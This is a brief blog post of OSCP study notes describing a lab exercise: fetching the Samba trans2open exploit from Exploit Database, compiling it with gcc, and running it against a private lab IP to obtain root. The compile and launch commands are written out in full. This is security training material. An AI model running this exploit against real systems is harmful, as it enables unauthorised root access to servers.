OSCP Learning Notes - Exploit(2)

Compiling an Exploit

Exercise: samba exploit

1. Search and download the samba exploit source code from Exploit Database.

https://www.exploit-db.com/exploits/10

2. Compile the source code.

gcc 10.c -o trans2open

 

 

3. Use the trans2open tool to exploit the target server. Root the target server sucessfully.

 

./trans2open -b 0 10.0.0.20

 

 

posted @ 2019-07-06 18:06  晨风_Eric  阅读(200)  评论(0编辑  收藏  举报